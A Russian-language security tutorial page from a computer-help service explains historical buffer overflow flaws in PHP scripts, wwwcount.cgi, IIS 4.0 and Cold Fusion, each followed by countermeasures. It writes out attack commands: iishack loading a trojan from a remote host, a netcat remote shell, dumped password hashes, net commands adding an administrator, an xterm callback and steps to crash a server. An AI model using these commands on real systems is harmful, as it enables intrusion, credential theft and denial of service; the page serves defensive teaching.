Бесплатный электронный учебник по защите информации компьютера в интернет

Вредоносные программы

служба Компьютерная помощь
Кириши Ленинградской области

Переполнение буфера

вредоносные программы
Антивирусная защита компьютера. Вызов мастера на дом в Кириши
 

Первые признаки вируса
Компьютерные вирусы
Классификация компьютерных вирусов
Нежелательные программы
Вредоносные программы
Удаление программ вирусов
Правила антивирусной безопасности компьютера
Какой антивирус лучший?
Скачать антивирус бесплатно
Бесплатно скачать антивирус для Vista
Лицензионный антивирус Касперского 7.0
Купить лицензионный антивирус Касперского 7.0
Лицензионный антивирус Dr.Web 4.44
Купить лицензионный антивирус Dr.Web 4.44
Карта сайта / Главная
Наша ссылка

Переполнение буфера

Многие годы проблемы, связанные с переполнением буфера, были серьезным недостатком системы защиты системы UNIX. После появления в 1995 году статьи How to write buffer overflow  в мире UNIX многое переменилось. В классической статье Алефа Вана (Aleph One) Smashing the stack for fun and profit, впервые опубликованной в журнале Phrack Magazine в 1996 году, подробно описано, насколько просто добиться переполнения буфера. 
Для тех, кто незнаком с этой концепцией постараемся ее четко сформулировать. Переполнение буфера позволяет взломщику поместить в переменную значение, которое больше, чем максимально допустимое. После этого он сможет выполнить произвольный код с привилегиями текущего пользователя, обычно root. В большинстве случаев проблема заключается в плохо написанном коде. Примером такого кода может быть программа, помещающая данные в буфер и не проверяющая их размер. Наиболее популярная команда, которую можно удаленно выполнить в системе Solaris, выглядит примерно следующим образом: /usr/openwin/bin/xterm -display <your_IP_address>: 0 . 0 &.
Рассматриваемые ниже изъяны позволят получить полное представление о методах, которые взломщики используют для удаленного переполнения буфера. Имея такую информацию, вы сможете улучшить качество и надежность своих программ.

 

Изъян РНР

В сценариях РНР имеется два (а возможно и больше) изъянов. Один из них является обычной проблемой отсутствия проверки ввода, ставшей бедствием для многих разрабатываемых ранее сценариев. С использованием этого изъяна взломщики могли просмотреть любой файл целевой системы. 

Контрмеры против использования изъянов РНР

Обеспечить защиту можно двумя способами:

  •  Удалите уязвимые сценарии.
  •  Обновите сценарии РНР до самой последней версии.

Изъян wwwcount.cgi

Программа wwwcount является популярным счетчиком Web. Впервые о ее изъяне и его применении стало известно в 1997 году. Этот изъян позволяет взломщик)' удаленно выполнять любой код на локальной системе. Широкой общественности по крайней мере стало известны два примера использования этого изъяна, однако в обоих случаях происходило в основном одно и то же: "захват" взломщиком окна xterm.

Контрмеры против использования nsbflHawwwcount

Предотвратить использование изъяна программы wwwcount можно двумя способами: 

  •  Удалите сценарий wwwcount. cgi.
  •  Отмените для сценария право на выполнение с помощью команды chmod -x wwwcount.cgi.

Изъян iishack сервера IIS 4.0

В июне 1999 года широкой общественности стало известно о досадной ошибке в системе защиты сервера IIS 4.0, которая оказалась серьезной угрозой безопасности Web-сервера компании Microsoft. Этот изъян был обнаружен группой экспертов по вопросам безопасности еЕуе, которая поместила в Internet исходный код и исполняемый файл, с помощью которого можно осуществить взлом. Источником проблемы является недостаточная проверка границ имен файлов .НТК, .STM и .юс, содержащихся в адресах URL. Это позволяет взломщику поместить в этот адрес код, который будет загружен на целевую систему и выполнен с правами администратора.
Программа, демонстрирующая использование данного изъяна, называется iishack, а найти ее можно по адресу http://www.technotronic.com (а также И на других Web-узлах). При этом достаточно указать адрес URL и имя файла типа "троянский конь", который нужно запустить:

C:\nt\>iishack 10.12.24.2 80 172.29.11.101/getem.exe
---(US 4.0 remote buffer overflow exploit)— — —
(c) dark spyrit — barns@eeye.com. http://www.eEye.com
[usage: iishack <host> <port> <url>]
eg - iishack www.example.com 80 www.myserver.com/thetrojan.exe
do not include 'http://1 before hosts!
Data sent!

Созданная авторами простая программа типа "троянский конь" getem.exe, распаковывает утилиту pwdump.exe (позволяющую получить дамп хеш-кодов базы данных SAM), запускает утилиту netcat, настроенную на прослушивание порта 25, и возвращает обратно командную оболочку (nc -nw -L -р 25 -t -e cmd.exe). После успешного выполнения всех этих действий на собственном компьютере можно запустить утилиту netcat, получив таким образом в свое распоряжение командную оболочку и локальный доступ с привилегиями учетной записи SYSTEM (т.е. с правами администратора):

C:\>nc -nw 10.11.1.1 26
(UNKNOWN) [10.11.1.1] 26 (?) open Microsoft(R)
Windows NT (TM) (C) Copyright 1985-1996 Microsoft Corp.
С:>pwdump
administrator:500:03096B7CD9133319790F5B37EAB66"E30:
5ACA8A3A546DD587A 58A251205881082:
Built-in account for administering the computer/doma in:
Guest:501:NO PASSWORD
**************;NO PASSWORD**************
*******:Built-in account for guest access to the computer/domain::
sqldude:1000:853FD8DOFA7ECFOFAAD3B435B
51404EE:EE319BA58C3E9BCB45AB13 CD7651FE14:::
SQLExecutiveCmdExec:1001:01FC5A6BE7BC6929AAD3B435B51404EE:
OCB6948805 F797BF2A82807973B89537:SQLExecutiveCmdExec,
SQL Executive CmdExec Task Account:C_:

С помощью простых команд копирования и вставки, применяемых в командной строке, а также программы LOphtCrack, которая используется для взлома хеш-кодов, можно получить в свое распоряжение пароль администратора (и любого другого пользователя системы).
Более простая (но менее скрытая) атака заключается в создании нового пользователя с помощью команды net localgroup password haxor /add, а затем добавление этого пользователя (в данном случае haxor) в группу администраторов с помощью команды net localgroup Administrators haxor /add. Если порт NetBIOS сервера (TCP 139) открыт для взломщика, то он может к нему подключиться и делать все что угодно. Конечно же, поскольку взломщик выполняет в системе значительные изменения, то их можно выявить с использованием простых средств аудита системы.

Контрмеры против изъянов US 4.0

Сначала компания Microsoft разработала комплекс рекомендаций для устранения этой проблемы, а затем выпустила модуль обновления. Группа экспертов eEye выпустила свой собственный модуль обновления, однако всегда рекомендуется использовать средства от производителя.

Изъян переполнения полей

У читателя может возникнуть вопрос, "Действительно ли можно взломать Web-сервер, пользуясь только Web-броузером?" На этот вопрос можно ответить вполне определенно: "ДА". Программисты в Web в первую очередь заботятся о производительности, отодвигая вопросы безопасности на второй план. Лучше всего это видно на примере ошибки, возникающей при переполнении буфера на сервере Cold Fusion, которая была обнаружена группой Foundstone. Проблема заключается в том, каким образом компания Allaire реализовала проверку достоверности входных данных, которые вводятся в поле пароля администратора. Пользуясь недостаточно полной очисткой этого поля, взломщик с помощью одного броузера может практически полностью вывести Web-сервер из строя. Вот как это можно сделать.

1. Введите в броузере адрес страницы регистрации администратора в системе на типичном сервере Cold Fusion:
2. С помощью соответствующей команды (в броузере Netscape — это File =*Edit Page) перейдите в режим редактирования кода HTML.
3. Дважды щелкните на дескрипторе ACTION (верхний левый) и измените его, вставив имя/адрес URL сервера:

<form
Action="http://192.168.51.101/CFIDE/administrator/index.cfm"
Method="POST">

4. Измените дескриптор HTML с именем PasswordProvided, который содержит пароль, а затем измените свойства size и MAXLENGTH:

<input Name="PasswordProvided"
Type="PASSWORD"
Size="1000000" MAXLENGTH="10ООООО">

5. Щелкните на кнопке Preview, расположенной на панели инструментов Netscape, и сохраните этот файл в формате HTML.
6. Поле ввода пароля теперь должно расшириться вправо и выйти за границы экрана. Сгенерируйте около 1,000,000 символов и скопируйте их в это поле.
7. Щелкните на кнопке Password. Если все прошло хорошо (или плохо, если вы являетесь системным администратором), то можно будет увидеть следующее:


На приведенном рисунке можно увидеть, что выполненные выше действия привели к подъему использования процессора сервера до 100%. Если подобные запросы продолжают поступать то, в конце концов, произойдет переполнение памяти. Более того, если на сервер отправить больше миллиарда символов, это окончательно выведет его из строя. В любом случае, для выяснения причины сбоя придется перезагружать систему.

Контрмеры

Единственным эффективным решением проблемы подобного рода является использование в каждой разрабатываемой программе процедуры очистки входных данных. В рассмотренном случае можно переместить страницу администратора в какой-то другой каталог или выполнить рекомендации по обеспечению безопасности сервера Cold Fusion, которые можно найти по адресу http://www.allaire.com/Handlers/index. cfm?ID=10954&Method=Full.

 
 
 
вредоносные программы
Мы надеемся, что Ваш компьютер
верой и правдой прослужит долгие годы, принося пользу и удовольствие.